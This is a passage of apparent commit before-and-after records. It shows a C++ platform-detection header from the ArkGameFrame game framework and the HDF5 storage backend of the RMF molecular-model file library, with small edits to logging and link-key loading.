2\n#define COMPILER_INTEL 3\n#define COMPILER_CLANG 4\n\n#define GOOGLE_STRIP_LOG 2\n\n#ifdef _MSC_VER\n# define ARK_COMPILER COMPILER_MICROSOFT\n#elif defined(__INTEL_COMPILER)\n# define ARK_COMPILER COMPILER_INTEL\n#elif defined(__BORLANDC__)\n# define ARK_COMPILER COMPILER_BORLAND\n#elif defined(__GNUC__)\n# define ARK_COMPILER COMPILER_GNU\n#elif defined( __clang__ )\n# define ARK_COMPILER COMPILER_CLANG\n#else\n# pragma error \"FATAL ERROR: Unknown compiler.\"\n#endif\n\n#if ARK_PLATFORM == PLATFORM_UNIX || ARK_PLATFORM == PLATFORM_APPLE\n# if defined(HAVE_DARWIN)\n# define ARK_PLATFORM_NAME \"MacOSX\"\n# define UNIX_FLAVOUR UNIX_FLAVOUR_OSX\n# elif defined(USE_KQUEUE)\n# define ARK_PLATFORM_NAME \"FreeBSD\"\n# define UNIX_FLAVOUR UNIX_FLAVOUR_BSD\n# elif defined(USE_KQUEUE_DFLY)\n# define ARK_PLATFORM_NAME \"DragonFlyBSD\"\n# define UNIX_FLAVOUR UNIX_FLAVOUR_BSD\n# else\n# define ARK_PLATFORM_NAME \"Linux\"\n# define UNIX_FLAVOUR UNIX_FLAVOUR_LINUX\n# endif\n#elif ARK_PLATFORM == PLATFORM_WIN\n# define ARK_PLATFORM_NAME \"Windows\"\n#else\n# pragma error \"FATAL ERROR: Unknown platform.\"\n#endif\n\n#define ARK_RUN_MODE_DEBUG 0\n#define ARK_RUN_MODE_RELEASE 1\n\n#ifndef ARK_RUN_MODE\n# if defined(DEBUG) || defined(_DEBUG)\n# define ARK_RUN_MODE ARK_RUN_MODE_DEBUG\n# define ARK_RUN_MODE_NAME \"Debug\"\n# else\n# define ARK_RUN_MODE ARK_RUN_MODE_RELEASE\n# define ARK_RUN_MODE_NAME \"Release\"\n# endif \/\/ DEBUG\n#endif\n\n#ifndef X64\n# if defined(_WIN64) || defined(__x86_64__) || defined(__amd64) || defined(__LP64__)\n# define X64\n# endif\n#endif\n\n#ifdef X64\n# define ARK_ARCH_NAME \"X64\"\n#else\n# define ARK_ARCH_NAME \"X86\"\n#endif \/\/ X64\n\n#define ARK_LITTLE_ENDIAN\n\n\n#ifndef ARK_DYNAMIC_PLUGIN\n#define ARK_DYNAMIC_PLUGIN\n#endif\n\n<commit_msg>remove netmodule log<commit_after>\/*****************************************************************************\n\/\/ * This source file is part of ArkGameFrame *\n\/\/ * For the latest info, see https:\/\/github.com\/ArkGame *\n\/\/ * *\n\/\/ * Copyright(c) 2013 - 2017 ArkGame authors. *\n\/\/ * *\n\/\/ * Licensed under the Apache License, Version 2.0 (the \"License\"); *\n\/\/ * you may not use this file except in compliance with the License. *\n\/\/ * You may obtain a copy of the License at *\n\/\/ * *\n\/\/ * http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\n\/\/ * *\n\/\/ * Unless required by applicable law or agreed to in writing, software *\n\/\/ * distributed under the License is distributed on an \"AS IS\" BASIS, *\n\/\/ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.*\n\/\/ * See the License for the specific language governing permissions and *\n\/\/ * limitations under the License. *\n\/\/ * *\n\/\/ * *\n\/\/ * @file AFPlatform.h *\n\/\/ * @author Ark Game Tech *\n\/\/ * @date 2015-12-15 *\n\/\/ * @brief AFPlatform *\n*****************************************************************************\/\n#pragma once\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include <math.h>\n#include <assert.h>\n#include <iostream>\n#include <fstream>\n#include <sstream>\n#include <stdexcept>\n#include <string>\n#include <cstring>\n#include <vector>\n#include <map>\n#include <list>\n#include <set>\n#include <deque>\n#include <limits>\n#include <algorithm>\n#include <utility>\n#include <functional>\n#include <cctype>\n#include <iterator>\n#include <unordered_map>\n#include <stdint.h>\n#include <functional>\n#include <memory>\n#include <signal.h>\n#include <chrono>\n#include <sstream>\n#include <random>\n#include <thread>\n\n#if defined(__WIN32__) || defined(WIN32) || defined(_WIN32) || defined(__WIN64__) || defined(WIN64) || defined(_WIN64)\n\/\/ only windows include\n#include <io.h>\n#include <time.h>\n#ifndef WIN32_LEAN_AND_MEAN\n#include <WinSock2.h>\n#include <MSWSock.h>\n#define WIN32_LEAN_AND_MEAN\n#endif \/\/ WIN32_LEAN_AND_MEAN\n#include <windows.h>\n#define _SCL_SECURE_NO_WARNINGS\n\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGUSR1 10\n#define SIGPIPE 13\n#define SIGCHLD 17\n#define SIGSYS 32\n\n#else\n\/\/ only other unix\/linux include\n#include <sys\/socket.h>\n#endif\n\n#define ARK_LITTLE_ENDIAN\n#define ARK_BIG_ENDIAN\n\n#if !defined(ARK_ENDIAN)\n# if defined(USE_BIG_ENDIAN)\n# define ARK_ENDIAN ARK_BIG_ENDIAN\n# else\n# define ARK_ENDIAN ARK_LITTLE_ENDIAN\n# endif\n#endif \/\/ !defined(ARK_ENDIAN)\n\n#define PLATFORM_WIN 0\n#define PLATFORM_UNIX 1\n#define PLATFORM_APPLE 2\n\n#define UNIX_FLAVOUR_LINUX 1\n#define UNIX_FLAVOUR_BSD 2\n#define UNIX_FLAVOUR_OTHER 3\n#define UNIX_FLAVOUR_OSX 4\n\n#if defined(__WIN32__) || defined(WIN32) || defined(_WIN32) || defined(__WIN64__) || defined(WIN64) || defined(_WIN64)\n# define ARK_PLATFORM PLATFORM_WIN\n#elif defined(__APPLE_CC__)\n# define ARK_PLATFORM PLATFORM_APPLE\n#else\n# define ARK_PLATFORM PLATFORM_UNIX\n#endif\n\n#define COMPILER_MICROSOFT 0\n#define COMPILER_GNU 1\n#define COMPILER_BORLAND 2\n#define COMPILER_INTEL 3\n#define COMPILER_CLANG 4\n\n#ifdef _MSC_VER\n# define ARK_COMPILER COMPILER_MICROSOFT\n#elif defined(__INTEL_COMPILER)\n# define ARK_COMPILER COMPILER_INTEL\n#elif defined(__BORLANDC__)\n# define ARK_COMPILER COMPILER_BORLAND\n#elif defined(__GNUC__)\n# define ARK_COMPILER COMPILER_GNU\n#elif defined( __clang__ )\n# define ARK_COMPILER COMPILER_CLANG\n#else\n# pragma error \"FATAL ERROR: Unknown compiler.\"\n#endif\n\n#if ARK_PLATFORM == PLATFORM_UNIX || ARK_PLATFORM == PLATFORM_APPLE\n# if defined(HAVE_DARWIN)\n# define ARK_PLATFORM_NAME \"MacOSX\"\n# define UNIX_FLAVOUR UNIX_FLAVOUR_OSX\n# elif defined(USE_KQUEUE)\n# define ARK_PLATFORM_NAME \"FreeBSD\"\n# define UNIX_FLAVOUR UNIX_FLAVOUR_BSD\n# elif defined(USE_KQUEUE_DFLY)\n# define ARK_PLATFORM_NAME \"DragonFlyBSD\"\n# define UNIX_FLAVOUR UNIX_FLAVOUR_BSD\n# else\n# define ARK_PLATFORM_NAME \"Linux\"\n# define UNIX_FLAVOUR UNIX_FLAVOUR_LINUX\n# endif\n#elif ARK_PLATFORM == PLATFORM_WIN\n# define ARK_PLATFORM_NAME \"Windows\"\n#else\n# pragma error \"FATAL ERROR: Unknown platform.\"\n#endif\n\n#define ARK_RUN_MODE_DEBUG 0\n#define ARK_RUN_MODE_RELEASE 1\n\n#ifndef ARK_RUN_MODE\n# if defined(DEBUG) || defined(_DEBUG)\n# define ARK_RUN_MODE ARK_RUN_MODE_DEBUG\n# define ARK_RUN_MODE_NAME \"Debug\"\n# else\n# define ARK_RUN_MODE ARK_RUN_MODE_RELEASE\n# define ARK_RUN_MODE_NAME \"Release\"\n# endif \/\/ DEBUG\n#endif\n\n#ifndef X64\n# if defined(_WIN64) || defined(__x86_64__) || defined(__amd64) || defined(__LP64__)\n# define X64\n# endif\n#endif\n\n#ifdef X64\n# define ARK_ARCH_NAME \"X64\"\n#else\n# define ARK_ARCH_NAME \"X86\"\n#endif \/\/ X64\n\n#define ARK_LITTLE_ENDIAN\n\n\n#ifndef ARK_DYNAMIC_PLUGIN\n#define ARK_DYNAMIC_PLUGIN\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>\/**\n * \\file RMF\/Category.h\n * \\brief Handle read\/write of Model data from\/to files.\n *\n * Copyright 2007-2013 IMP Inventors. All rights reserved.\n *\n *\/\n\n#include \"HDF5SharedData.h\"\n#include <RMF\/NodeHandle.h>\n#include <RMF\/Validator.h>\n#include <boost\/unordered_set.hpp>\n#include <RMF\/HDF5\/Group.h>\n#include <RMF\/log.h>\n#include <algorithm>\n\nRMF_ENABLE_WARNINGS\n\nnamespace RMF {\nnamespace hdf5_backend {\n\n#define RMF_CLOSE(lcname, Ucname, PassValue, ReturnValue, PassValues, \\\n ReturnValues) \\\n lcname##_data_sets_ = DataDataSetCache2D<Ucname##Traits>(); \\\n per_frame_##lcname##_data_sets_ = DataDataSetCache3D<Ucname##Traits>()\n\nvoid HDF5SharedData::close_things() {\n node_names_.reset();\n free_ids_.clear();\n node_data_.reset();\n index_cache_ = IndexCache();\n key_name_data_sets_ = KeyNameDataSetCache();\n category_names_.reset();\n frame_names_.reset();\n max_cache_.clear();\n RMF_FOREACH_BACKWARDS_TYPE(RMF_CLOSE);\n flush();\n file_ = HDF5::Group();\n H5garbage_collect();\n}\n\nvoid HDF5SharedData::open_things(bool create, bool read_only) {\n read_only_ = read_only;\n if (create) {\n file_ = HDF5::create_file(get_file_path());\n file_.set_attribute<HDF5::CharTraits>(\"version\", std::string(\"rmf 1\"));\n {\n HDF5::DataSetCreationPropertiesD<HDF5::StringTraits, 1> props;\n props.set_compression(HDF5::GZIP_COMPRESSION);\n (file_.add_child_data_set<HDF5::StringTraits,\n 1>)(get_node_name_data_set_name(), props);\n }\n {\n HDF5::DataSetCreationPropertiesD<HDF5::IndexTraits, 2> props;\n props.set_compression(HDF5::GZIP_COMPRESSION);\n props.set_chunk_size(RMF::HDF5::DataSetIndexD<2>(128, 4));\n (file_.add_child_data_set<HDF5::IndexTraits,\n 2>)(get_node_data_data_set_name(), props);\n }\n } else {\n if (read_only) {\n \/\/ walk around type checking\n file_ = HDF5::open_file_read_only_returning_nonconst(get_file_path());\n } else {\n file_ = HDF5::open_file(get_file_path());\n }\n std::string version;\n version = file_.get_attribute<HDF5::CharTraits>(\"version\");\n RMF_USAGE_CHECK(version == \"rmf 1\",\n internal::get_error_message(\n \"Unsupported rmf version \", \"string found: \\\"\", version,\n \"\\\" expected \\\"\", \"rmf 1\", \"\\\"\"));\n }\n node_names_.set(file_, get_node_name_data_set_name());\n node_data_.set(file_, get_node_data_data_set_name());\n initialize_categories();\n initialize_free_nodes();\n initialize_keys(0);\n std::string frn = get_frame_name_data_set_name();\n frame_names_.set(file_, frn);\n}\n\n#define RMF_LIST_KEYS(lcname, Ucname, PassValue, ReturnValue, PassValues, \\\n ReturnValues) \\\n initialize_keys(cat, #lcname, Ucname##Traits());\n\nvoid HDF5SharedData::initialize_keys(int) {\n Categories cats = get_categories();\n RMF_FOREACH(Category cat, cats) {\n RMF_FOREACH_BACKWARDS_TYPE(RMF_LIST_KEYS);\n }\n}\n\nvoid HDF5SharedData::initialize_free_nodes() {\n HDF5::DataSetIndexD<2> dim = node_data_.get_size();\n for (unsigned int i = 0; i < dim[0]; ++i) {\n if (IndexTraits::get_is_null_value(\n node_data_.get_value(HDF5::DataSetIndexD<2>(i, 0)))) {\n free_ids_.push_back(i);\n }\n }\n}\n\nvoid HDF5SharedData::initialize_categories() {\n std::string nm = get_category_name_data_set_name();\n category_names_.set(file_, nm);\n HDF5::DataSetIndex1D sz = category_names_.get_size();\n for (unsigned int i = 0; i < sz[0]; ++i) {\n std::string name = category_names_.get_value(HDF5::DataSetIndex1D(i));\n Category cat(i);\n name_category_map_[name] = cat;\n category_data_map_[cat].name = name;\n category_data_map_[cat].index = i;\n }\n}\n\nHDF5SharedData::HDF5SharedData(std::string g, bool create, bool read_only)\n : BackwardsIOBase(g), frames_hint_(0) {\n open_things(create, read_only);\n link_category_ = get_category(\"link\");\n link_key_ = get_key(link_category_, \"linked\", NodeIDTraits());\n if (create) {\n add_node(\"root\", ROOT);\n } else {\n RMF_USAGE_CHECK(get_name(NodeID(0)) == \"root\", \"Root node is not so named\");\n }\n}\n\nHDF5SharedData::~HDF5SharedData() { close_things(); }\n\nvoid HDF5SharedData::flush() {\n RMF_HDF5_CALL(H5Fflush(file_.get_handle(), H5F_SCOPE_GLOBAL));\n \/\/ SharedData::validate();\n node_names_.flush();\n frame_names_.flush();\n category_names_.flush();\n node_data_.flush();\n}\n\nvoid HDF5SharedData::check_node(NodeID node) const {\n RMF_USAGE_CHECK(\n node_names_.get_size()[0] > node.get_index(),\n internal::get_error_message(\"Invalid node specified: \", node));\n}\n\nNodeID HDF5SharedData::add_node(std::string name, NodeType type) {\n NodeID ret;\n if (free_ids_.empty()) {\n HDF5::DataSetIndexD<1> nsz = node_names_.get_size();\n ret = NodeID(nsz[0]);\n ++nsz[0];\n node_names_.set_size(nsz);\n HDF5::DataSetIndexD<2> dsz = node_data_.get_size();\n dsz[0] = ret.get_index() + 1;\n dsz[1] = std::max<hsize_t>(3, dsz[1]);\n node_data_.set_size(dsz);\n } else {\n ret = NodeID(free_ids_.back());\n free_ids_.pop_back();\n }\n node_names_.set_value(HDF5::DataSetIndexD<1>(ret.get_index()), name);\n node_data_.set_value(HDF5::DataSetIndexD<2>(ret.get_index(), TYPE), type);\n node_data_.set_value(HDF5::DataSetIndexD<2>(ret.get_index(), CHILD),\n IndexTraits::get_null_value());\n node_data_.set_value(HDF5::DataSetIndexD<2>(ret.get_index(), SIBLING),\n IndexTraits::get_null_value());\n return ret;\n}\nNodeID HDF5SharedData::get_first_child(NodeID node) const {\n check_node(node);\n int child =\n node_data_.get_value(HDF5::DataSetIndexD<2>(node.get_index(), CHILD));\n if (child == -1)\n return NodeID();\n else\n return NodeID(child);\n}\nNodeID HDF5SharedData::get_sibling(NodeID node) const {\n check_node(node);\n int sib =\n node_data_.get_value(HDF5::DataSetIndexD<2>(node.get_index(), SIBLING));\n if (sib == -1) {\n return NodeID();\n } else {\n return NodeID(sib);\n }\n}\nvoid HDF5SharedData::set_first_child(NodeID node, NodeID c) {\n check_node(node);\n return node_data_.set_value(HDF5::DataSetIndexD<2>(node.get_index(), CHILD),\n c.get_index());\n}\nvoid HDF5SharedData::set_sibling(NodeID node, NodeID c) {\n check_node(node);\n if (c == NodeID()) {\n node_data_.set_value(HDF5::DataSetIndexD<2>(node.get_index(), SIBLING), -1);\n } else {\n node_data_.set_value(HDF5::DataSetIndexD<2>(node.get_index(), SIBLING),\n c.get_index());\n }\n}\nstd::string HDF5SharedData::get_name(NodeID node) const {\n if (static_cast<unsigned int>(node.get_index()) < get_number_of_nodes()) {\n check_node(node);\n return node_names_.get_value(HDF5::DataSetIndexD<1>(node.get_index()));\n } else {\n return \"bond\";\n }\n}\nNodeType HDF5SharedData::get_type(NodeID index) const {\n if (static_cast<unsigned int>(index.get_index()) < get_number_of_nodes()) {\n check_node(index);\n return NodeType(\n node_data_.get_value(HDF5::DataSetIndexD<2>(index.get_index(), TYPE)));\n } else {\n return BOND;\n }\n}\n\nNodeID HDF5SharedData::add_child(NodeID node, std::string name, NodeType t) {\n NodeID old_child = get_first_child(node);\n NodeID nn = add_node(name, t);\n set_first_child(node, nn);\n set_sibling(nn, old_child);\n return nn;\n}\n\nvoid HDF5SharedData::add_child(NodeID node, NodeID child_node) {\n RMF_INTERNAL_CHECK(NodeID() != child_node, \"Bad child being added\");\n NodeID link = add_child(node, \"link\", LINK);\n get_category_index_create(link_category_);\n set_static_value(link, link_key_, child_node);\n RMF_INTERNAL_CHECK(get_linked(link) == child_node, \"Return does not match\");\n}\n\nNodeID HDF5SharedData::get_linked(NodeID node) const {\n NodeID ret = get_static_value(node, link_key_);\n RMF_INTERNAL_CHECK(ret != NodeID(), \"Bad link value found\");\n return ret;\n}\n\nNodeIDs HDF5SharedData::get_children(NodeID node) const {\n NodeID cur = get_first_child(node);\n NodeIDs ret;\n while (!NodeIDTraits::get_is_null_value(cur)) {\n if (get_type(cur) != LINK) {\n ret.push_back(cur);\n cur = get_sibling(cur);\n } else {\n ret.push_back(get_linked(cur));\n cur = get_sibling(cur);\n }\n }\n std::reverse(ret.begin(), ret.end());\n\n return ret;\n}\n\nunsigned int HDF5SharedData::add_category_impl(std::string name) {\n \/\/ fill in later\n int sz = category_names_.get_size()[0];\n category_names_.set_size(HDF5::DataSetIndex1D(sz + 1));\n category_names_.set_value(HDF5::DataSetIndex1D(sz), name);\n return sz;\n}\n\nCategories HDF5SharedData::get_categories() const {\n Categories ret;\n for (CategoryDataMap::const_iterator it = category_data_map_.begin();\n it != category_data_map_.end(); ++it) {\n if (it->second.name == \"link\") continue;\n ret.push_back(it->first);\n }\n return ret;\n}\n\nCategory HDF5SharedData::get_category(std::string name) {\n NameCategoryMap::const_iterator it = name_category_map_.find(name);\n if (it == name_category_map_.end()) {\n Category cat(name_category_map_.size());\n name_category_map_[name] = cat;\n category_data_map_[cat].index = -1;\n category_data_map_[cat].name = name;\n return cat;\n } else {\n return it->second;\n }\n}\n\n#define RMF_SEARCH_KEYS(lcname, Ucname, PassValue, ReturnValue, PassValues, \\\n ReturnValues) \\\n { \\\n int category_index = get_category_index(cats[i]); \\\n if (category_index == -1) continue; \\\n ret = std::max<int>(ret, \\\n get_number_of_frames<Ucname##Traits>(category_index)); \\\n }\n\nunsigned int HDF5SharedData::get_number_of_frames() const {\n Categories cats = get_categories();\n int ret = 0;\n for (unsigned int i = 0; i < cats.size(); ++i) {\n RMF_FOREACH_BACKWARDS_TYPE(RMF_SEARCH_KEYS);\n }\n return std::max<int>(frame_names_.get_size()[0], ret);\n}\n\nstd::string HDF5SharedData::get_description() const {\n if (!get_group().get_has_attribute(\"description\")) {\n return std::string();\n } else\n return get_group().get_char_attribute(\"description\");\n}\nvoid HDF5SharedData::set_description(std::string str) {\n RMF_USAGE_CHECK(str.empty() || str[str.size() - 1] == '\\n',\n \"Description should end in a newline.\");\n get_group().set_char_attribute(\"description\", str);\n}\n\nstd::string HDF5SharedData::get_producer() const {\n if (!get_group().get_has_attribute(\"producer\")) {\n return std::string();\n } else\n return get_group().get_char_attribute(\"producer\");\n}\nvoid HDF5SharedData::set_producer(std::string str) {\n RMF_USAGE_CHECK(str.empty() || str[str.size() - 1] == '\\n',\n \"Producer should end in a newline.\");\n get_group().set_char_attribute(\"producer\", str);\n}\n\nvoid HDF5SharedData::set_name(FrameID i, std::string str) {\n RMF_USAGE_CHECK(i != ALL_FRAMES,\n \"Cannot set the name frame name for static data\");\n if (frame_names_.get_size()[0] <= i.get_index()) {\n frame_names_.set_size(HDF5::DataSetIndexD<1>(i.get_index() + 1));\n }\n frame_names_.set_value(HDF5::DataSetIndexD<1>(i.get_index()), str);\n}\nstd::string HDF5SharedData::get_loaded_frame_name() const {\n FrameID i = get_loaded_frame();\n if (frame_names_.get_size()[0] > i.get_index()) {\n return frame_names_.get_value(HDF5::DataSetIndexD<1>(i.get_index()));\n } else {\n return std::string();\n }\n}\n\nvoid HDF5SharedData::reload() {\n close_things();\n open_things(false, read_only_);\n}\n\n#define RMF_HDF5_SET_FRAME(lcname, Ucname, PassValue, ReturnValue, PassValues, \\\n ReturnValues) \\\n per_frame_##lcname##_data_sets_.set_current_frame(frame);\n\nvoid HDF5SharedData::set_loaded_frame(FrameID frame) {\n RMF_TRACE(get_logger(), \"Loading frame \" << frame);\n BackwardsIOBase::set_loaded_frame(frame);\n RMF_FOREACH_BACKWARDS_TYPE(RMF_HDF5_SET_FRAME);\n}\n} \/\/ namespace hdf5_backend\n} \/* namespace RMF *\/\n\nRMF_DISABLE_WARNINGS\n<commit_msg>make sure to load link keys<commit_after>\/**\n * \\file RMF\/Category.h\n * \\brief Handle read\/write of Model data from\/to files.\n *\n * Copyright 2007-2013 IMP Inventors. All rights reserved.\n *\n *\/\n\n#include \"HDF5SharedData.h\"\n#include <RMF\/NodeHandle.h>\n#include <RMF\/Validator.h>\n#include <boost\/unordered_set.hpp>\n#include <RMF\/HDF5\/Group.h>\n#include <RMF\/log.h>\n#include <algorithm>\n\nRMF_ENABLE_WARNINGS\n\nnamespace RMF {\nnamespace hdf5_backend {\n\n#define RMF_CLOSE(lcname, Ucname, PassValue, ReturnValue, PassValues, \\\n ReturnValues) \\\n lcname##_data_sets_ = DataDataSetCache2D<Ucname##Traits>(); \\\n per_frame_##lcname##_data_sets_ = DataDataSetCache3D<Ucname##Traits>()\n\nvoid HDF5SharedData::close_things() {\n node_names_.reset();\n free_ids_.clear();\n node_data_.reset();\n index_cache_ = IndexCache();\n key_name_data_sets_ = KeyNameDataSetCache();\n category_names_.reset();\n frame_names_.reset();\n max_cache_.clear();\n RMF_FOREACH_BACKWARDS_TYPE(RMF_CLOSE);\n flush();\n file_ = HDF5::Group();\n H5garbage_collect();\n}\n\nvoid HDF5SharedData::open_things(bool create, bool read_only) {\n read_only_ = read_only;\n if (create) {\n file_ = HDF5::create_file(get_file_path());\n file_.set_attribute<HDF5::CharTraits>(\"version\", std::string(\"rmf 1\"));\n {\n HDF5::DataSetCreationPropertiesD<HDF5::StringTraits, 1> props;\n props.set_compression(HDF5::GZIP_COMPRESSION);\n (file_.add_child_data_set<HDF5::StringTraits,\n 1>)(get_node_name_data_set_name(), props);\n }\n {\n HDF5::DataSetCreationPropertiesD<HDF5::IndexTraits, 2> props;\n props.set_compression(HDF5::GZIP_COMPRESSION);\n props.set_chunk_size(RMF::HDF5::DataSetIndexD<2>(128, 4));\n (file_.add_child_data_set<HDF5::IndexTraits,\n 2>)(get_node_data_data_set_name(), props);\n }\n } else {\n if (read_only) {\n \/\/ walk around type checking\n file_ = HDF5::open_file_read_only_returning_nonconst(get_file_path());\n } else {\n file_ = HDF5::open_file(get_file_path());\n }\n std::string version;\n version = file_.get_attribute<HDF5::CharTraits>(\"version\");\n RMF_USAGE_CHECK(version == \"rmf 1\",\n internal::get_error_message(\n \"Unsupported rmf version \", \"string found: \\\"\", version,\n \"\\\" expected \\\"\", \"rmf 1\", \"\\\"\"));\n }\n node_names_.set(file_, get_node_name_data_set_name());\n node_data_.set(file_, get_node_data_data_set_name());\n initialize_categories();\n initialize_free_nodes();\n initialize_keys(0);\n std::string frn = get_frame_name_data_set_name();\n frame_names_.set(file_, frn);\n}\n\n#define RMF_LIST_KEYS(lcname, Ucname, PassValue, ReturnValue, PassValues, \\\n ReturnValues) \\\n initialize_keys(cat, #lcname, Ucname##Traits());\n\nvoid HDF5SharedData::initialize_keys(int) {\n Categories cats = get_categories();\n RMF_FOREACH(Category cat, cats) {\n RMF_FOREACH_BACKWARDS_TYPE(RMF_LIST_KEYS);\n }\n initialize_keys(get_category(\"link\"), \"nodeid\", NodeIDTraits());\n}\n\nvoid HDF5SharedData::initialize_free_nodes() {\n HDF5::DataSetIndexD<2> dim = node_data_.get_size();\n for (unsigned int i = 0; i < dim[0]; ++i) {\n if (IndexTraits::get_is_null_value(\n node_data_.get_value(HDF5::DataSetIndexD<2>(i, 0)))) {\n free_ids_.push_back(i);\n }\n }\n}\n\nvoid HDF5SharedData::initialize_categories() {\n std::string nm = get_category_name_data_set_name();\n category_names_.set(file_, nm);\n HDF5::DataSetIndex1D sz = category_names_.get_size();\n for (unsigned int i = 0; i < sz[0]; ++i) {\n std::string name = category_names_.get_value(HDF5::DataSetIndex1D(i));\n Category cat(i);\n name_category_map_[name] = cat;\n category_data_map_[cat].name = name;\n category_data_map_[cat].index = i;\n }\n}\n\nHDF5SharedData::HDF5SharedData(std::string g, bool create, bool read_only)\n : BackwardsIOBase(g), frames_hint_(0) {\n open_things(create, read_only);\n link_category_ = get_category(\"link\");\n link_key_ = get_key(link_category_, \"linked\", NodeIDTraits());\n if (create) {\n add_node(\"root\", ROOT);\n } else {\n RMF_INFO(get_logger(), \"Found \" << node_names_.get_size() << \" nodes\");\n RMF_USAGE_CHECK(\n get_name(NodeID(0)) == \"root\",\n std::string(\"Root node is not so named \") + get_name(NodeID(0)));\n }\n}\n\nHDF5SharedData::~HDF5SharedData() { close_things(); }\n\nvoid HDF5SharedData::flush() {\n RMF_HDF5_CALL(H5Fflush(file_.get_handle(), H5F_SCOPE_GLOBAL));\n \/\/ SharedData::validate();\n node_names_.flush();\n frame_names_.flush();\n category_names_.flush();\n node_data_.flush();\n}\n\nvoid HDF5SharedData::check_node(NodeID node) const {\n RMF_USAGE_CHECK(\n node_names_.get_size()[0] > node.get_index(),\n internal::get_error_message(\"Invalid node specified: \", node));\n}\n\nNodeID HDF5SharedData::add_node(std::string name, NodeType type) {\n NodeID ret;\n if (free_ids_.empty()) {\n HDF5::DataSetIndexD<1> nsz = node_names_.get_size();\n ret = NodeID(nsz[0]);\n ++nsz[0];\n node_names_.set_size(nsz);\n HDF5::DataSetIndexD<2> dsz = node_data_.get_size();\n dsz[0] = ret.get_index() + 1;\n dsz[1] = std::max<hsize_t>(3, dsz[1]);\n node_data_.set_size(dsz);\n } else {\n ret = NodeID(free_ids_.back());\n free_ids_.pop_back();\n }\n node_names_.set_value(HDF5::DataSetIndexD<1>(ret.get_index()), name);\n node_data_.set_value(HDF5::DataSetIndexD<2>(ret.get_index(), TYPE), type);\n node_data_.set_value(HDF5::DataSetIndexD<2>(ret.get_index(), CHILD),\n IndexTraits::get_null_value());\n node_data_.set_value(HDF5::DataSetIndexD<2>(ret.get_index(), SIBLING),\n IndexTraits::get_null_value());\n return ret;\n}\nNodeID HDF5SharedData::get_first_child(NodeID node) const {\n check_node(node);\n int child =\n node_data_.get_value(HDF5::DataSetIndexD<2>(node.get_index(), CHILD));\n if (child == -1)\n return NodeID();\n else\n return NodeID(child);\n}\nNodeID HDF5SharedData::get_sibling(NodeID node) const {\n check_node(node);\n int sib =\n node_data_.get_value(HDF5::DataSetIndexD<2>(node.get_index(), SIBLING));\n if (sib == -1) {\n return NodeID();\n } else {\n return NodeID(sib);\n }\n}\nvoid HDF5SharedData::set_first_child(NodeID node, NodeID c) {\n check_node(node);\n return node_data_.set_value(HDF5::DataSetIndexD<2>(node.get_index(), CHILD),\n c.get_index());\n}\nvoid HDF5SharedData::set_sibling(NodeID node, NodeID c) {\n check_node(node);\n if (c == NodeID()) {\n node_data_.set_value(HDF5::DataSetIndexD<2>(node.get_index(), SIBLING), -1);\n } else {\n node_data_.set_value(HDF5::DataSetIndexD<2>(node.get_index(), SIBLING),\n c.get_index());\n }\n}\nstd::string HDF5SharedData::get_name(NodeID node) const {\n if (static_cast<unsigned int>(node.get_index()) < get_number_of_nodes()) {\n check_node(node);\n return node_names_.get_value(HDF5::DataSetIndexD<1>(node.get_index()));\n } else {\n return \"bond\";\n }\n}\nNodeType HDF5SharedData::get_type(NodeID index) const {\n if (static_cast<unsigned int>(index.get_index()) < get_number_of_nodes()) {\n check_node(index);\n return NodeType(\n node_data_.get_value(HDF5::DataSetIndexD<2>(index.get_index(), TYPE)));\n } else {\n return BOND;\n }\n}\n\nNodeID HDF5SharedData::add_child(NodeID node, std::string name, NodeType t) {\n NodeID old_child = get_first_child(node);\n NodeID nn = add_node(name, t);\n set_first_child(node, nn);\n set_sibling(nn, old_child);\n return nn;\n}\n\nvoid HDF5SharedData::add_child(NodeID node, NodeID child_node) {\n RMF_INTERNAL_CHECK(NodeID() != child_node, \"Bad child being added\");\n NodeID link = add_child(node, \"link\", LINK);\n get_category_index_create(link_category_);\n set_static_value(link, link_key_, child_node);\n RMF_INTERNAL_CHECK(get_linked(link) == child_node, \"Return does not match\");\n}\n\nNodeID HDF5SharedData::get_linked(NodeID node) const {\n NodeID ret = get_static_value(node, link_key_);\n RMF_INTERNAL_CHECK(ret != NodeID(), \"Bad link value found\");\n return ret;\n}\n\nNodeIDs HDF5SharedData::get_children(NodeID node) const {\n NodeID cur = get_first_child(node);\n NodeIDs ret;\n while (!NodeIDTraits::get_is_null_value(cur)) {\n if (get_type(cur) != LINK) {\n ret.push_back(cur);\n cur = get_sibling(cur);\n } else {\n ret.push_back(get_linked(cur));\n cur = get_sibling(cur);\n }\n }\n std::reverse(ret.begin(), ret.end());\n\n return ret;\n}\n\nunsigned int HDF5SharedData::add_category_impl(std::string name) {\n \/\/ fill in later\n int sz = category_names_.get_size()[0];\n category_names_.set_size(HDF5::DataSetIndex1D(sz + 1));\n category_names_.set_value(HDF5::DataSetIndex1D(sz), name);\n return sz;\n}\n\nCategories HDF5SharedData::get_categories() const {\n Categories ret;\n for (CategoryDataMap::const_iterator it = category_data_map_.begin();\n it != category_data_map_.end(); ++it) {\n if (it->second.name == \"link\") continue;\n ret.push_back(it->first);\n }\n return ret;\n}\n\nCategory HDF5SharedData::get_category(std::string name) {\n NameCategoryMap::const_iterator it = name_category_map_.find(name);\n if (it == name_category_map_.end()) {\n Category cat(name_category_map_.size());\n name_category_map_[name] = cat;\n category_data_map_[cat].index = -1;\n category_data_map_[cat].name = name;\n return cat;\n } else {\n return it->second;\n }\n}\n\n#define RMF_SEARCH_KEYS(lcname, Ucname, PassValue, ReturnValue, PassValues, \\\n ReturnValues) \\\n { \\\n int category_index = get_category_index(cats[i]); \\\n if (category_index == -1) continue; \\\n ret = std::max<int>(ret, \\\n get_number_of_frames<Ucname##Traits>(category_index)); \\\n }\n\nunsigned int HDF5SharedData::get_number_of_frames() const {\n Categories cats = get_categories();\n int ret = 0;\n for (unsigned int i = 0; i < cats.size(); ++i) {\n RMF_FOREACH_BACKWARDS_TYPE(RMF_SEARCH_KEYS);\n }\n return std::max<int>(frame_names_.get_size()[0], ret);\n}\n\nstd::string HDF5SharedData::get_description() const {\n if (!get_group().get_has_attribute(\"description\")) {\n return std::string();\n } else\n return get_group().get_char_attribute(\"description\");\n}\nvoid HDF5SharedData::set_description(std::string str) 